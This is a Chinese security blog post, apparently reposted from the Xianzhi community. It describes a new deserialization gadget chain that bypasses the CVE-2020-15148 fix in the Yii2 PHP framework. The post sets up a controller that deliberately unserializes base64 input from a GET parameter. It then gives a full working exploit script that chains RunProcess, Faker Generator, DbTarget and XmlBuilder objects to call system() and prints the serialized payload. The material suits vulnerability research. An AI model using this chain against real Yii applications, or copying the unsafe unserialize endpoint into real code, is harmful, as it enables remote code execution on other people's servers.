巧用可变函数 绕过 CVE-2020-15148 限制

  • A+
所属分类:安全文章

更多全球网络安全资讯尽在邑安全

前言

本来之前爆出这个反序列化链的时候,感觉这个反序列化的链子和Lavarel爆的链子有异曲同工之妙,所以本着复现的想法整一下,然后发现了几个绕过的姿势。拿出来和师傅们交流交流,抛转引玉吧。

熟悉Yii框架

首先通过这个Hello World来了解一下这个框架的基本使用方法。这样便于我们更加快速的去了解这个框架.

即使不说,也可以知道这个其实就是一个mvc框架。所以所有的逻辑基本上和控制器有关。所以先来讲讲控制器的使用.

控制器

这里可以看到控制器的一个基本的使用方法.

<?php

namespace appcontrollers;

use yiiwebController;

class SiteController extends Controller
{
// ...现存的代码...

public function actionSay($message = 'Hello')
{
return $this->render('say', ['message' => $message]);
}
}

这里可以看到,Yii2这里有一个前缀action

Yii 使用 action 前缀区分普通方法和操作。
action 前缀后面的名称被映射为操作的 ID。

最后通过render渲染给say这个view然后把message传递过去,方便view去渲染数据

路由

Yii的路由又有他自己独特的味道,熟悉thinkphp的同学可能知道,thinkphp中有一个s参数来用来表示路由,为了是防止浏览器自动纠错导致的路由匹配不上。Yii也有这么一个参数r

默认URL格式使用一个参数r表示路由, 并且使用一般的参数格式表示请求参数。例如,/index.php?r=post/view&id=100表示路由为post/view,参数id为100。

还有一种是美化url的格式,官网有详细例子,这里就不在赘述了,所以我们复现这里采用的是r参数的这种方式。

复现

环境:

  • php7.29

  • windows

下载源码 & 设置反序列化点

这里我选用的是直接从github上找的源码,奶权师傅的文章中有非常详细的讲解.(我composer没了就离谱
搭建好之后,写一个Hello World测试一下环境搭建的情况。(这里注意到路由中要加一个web才能有index.php

巧用可变函数 绕过 CVE-2020-15148 限制

搭建好之后,我们吧Hello World换成一个反序列话的点

<?php

namespace appcontrollers;

use Yii;
use yiiwebController;

class HelloController extends Controller
{
function actionTest()
{
$name = Yii::$app->request->get('unserialize');
return unserialize(base64_decode($name));
}

}

图说反序列化

这里还是选用图片的方式来讲一下整个pop链。

任意函数执行

巧用可变函数 绕过 CVE-2020-15148 限制

这里为啥说是任意类的任意函数执行。那有一个前置知识点是必须要提到的——可变函数
我们看一下官网给的例子

<?php
class Foo
{
static function bar()
{
echo "barn";
}
function baz()
{
echo "bazn";
}
}

$func = array("Foo", "bar");
$func(); // prints "bar"
$func = array(new Foo, "baz");
$func(); // prints "baz"
$func = "Foo::bar";
$func(); // prints "bar" as of PHP 7.0.0; prior, it raised a fatal error
?>

从这个例子中我们可以看到,如果一个数组被当做函数执行,那么数组中的第一个元素会被当成类的实例,第二个参数则是方法。

Yii这个例子则是通过call_user_func来完成类似操作的。

找可控函数

有了能够任意执行的函数,还是不够的。更关键的是要参数是可控的。我当时的想法是要找一个完全函数。
比如: $this->xxx->yyy($this->abc) 这种
所以利用phpstorm ctrl+shift+f全局搜索了一下,正则表达式如下
$this->[a-zA-Z]+->[a-zA-Z]+($this->[a-zA-Z]+)
没过多久就找到了一大堆.

巧用可变函数 绕过 CVE-2020-15148 限制

这里我随便挑一个举例吧。

巧用可变函数 绕过 CVE-2020-15148 限制

exp

<?php
//misc
namespace CodeceptionUtil;
class XmlBuilder
{
function __construct()
{
$this->__dom__ = 0;
}
}

// poc
namespace yiilog;
class DbTarget
{
public $logTable;
}

// __call
namespace Faker;


class Generator
{
public $formatters;
}


// __destruct
namespace CodeceptionExtension;

use CodeceptionUtilXmlBuilder;
use FakerGenerator;
use yiilogDbTarget;

class RunProcess
{

public $processes;
public $output;
}

$g2 = new Generator();
$g2->formatters = ['quoteTableName' => 'system','getTransaction'=>[new XmlBuilder(),'getDom']];

$col = new DbTarget();
$col->db = $g2;
$col->logTable = 'dir';

$g1 = new Generator();
$g1->formatters = ['isRunning' => [$col, 'export']];


$run_process = new RunProcess();
$run_process->processes = [$g1];

echo base64_encode(serialize($run_process));

后记

挖完后,去yii框架的github上看了看issue发现,已经有师傅在两个星期前发了。也是利用的StopProcess这个点绕的。可是官方不认。看了下师傅发的两条链子,感觉思路差不多,也是利用可变函数的这个点,来扩大攻击面的。还记得是zsx师傅在RCTF2020 上出的swoole带起的。

转自先知社区

欢迎收藏并分享朋友圈,让五邑人网络更安全

巧用可变函数 绕过 CVE-2020-15148 限制

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!


推荐文章

1

新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) 




本文始发于微信公众号(邑安全):巧用可变函数 绕过 CVE-2020-15148 限制

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: